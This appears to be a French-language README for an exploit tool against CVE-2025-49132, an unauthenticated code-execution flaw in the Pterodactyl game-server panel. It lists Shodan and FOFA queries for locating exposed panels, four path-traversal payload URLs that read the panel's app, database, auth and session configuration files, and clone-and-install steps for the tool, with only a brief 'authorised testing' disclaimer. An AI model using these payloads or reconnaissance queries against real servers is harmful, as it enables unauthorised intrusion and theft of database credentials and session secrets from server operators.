CVE-2025-49132 — RCE Pterodactyl

Outil d'exploitation pour CVE-2025-49132 — une vulnérabilité critique d'exécution de code arbitraire sans authentification affectant le panneau de serveur de jeux Pterodactyl.

🧠 Qu'est-ce que CVE-2025-49132 ?

Une faille ACE critique dans le panneau Pterodactyl qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire — pouvant mener à une compromission complète du système.

Aucune authentification requise. Juste une instance vulnérable.

⚠️ Avertissement

Pour des tests d'intrusion éducatifs et autorisés uniquement.

🔍 Reconnaissance

Shodan

http.title:"Pterodactyl"

FOFA

"Pterodactyl"

💉 Payloads

locales/locale.json?locale=../../../pterodactyl&namespace=config/app
locales/locale.json?locale=../../../pterodactyl&namespace=config/database
locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
locales/locale.json?locale=../../../pterodactyl&namespace=config/session

📦 Installation

git clone https://github.com/yurahshell/CVE-2025-49132
cd CVE-2025-49132
pip install -r requirements.txt

🎯 Logiciels concernés

Logiciel	Statut
Pterodactyl Panel

CVE-2025-49132

Populaires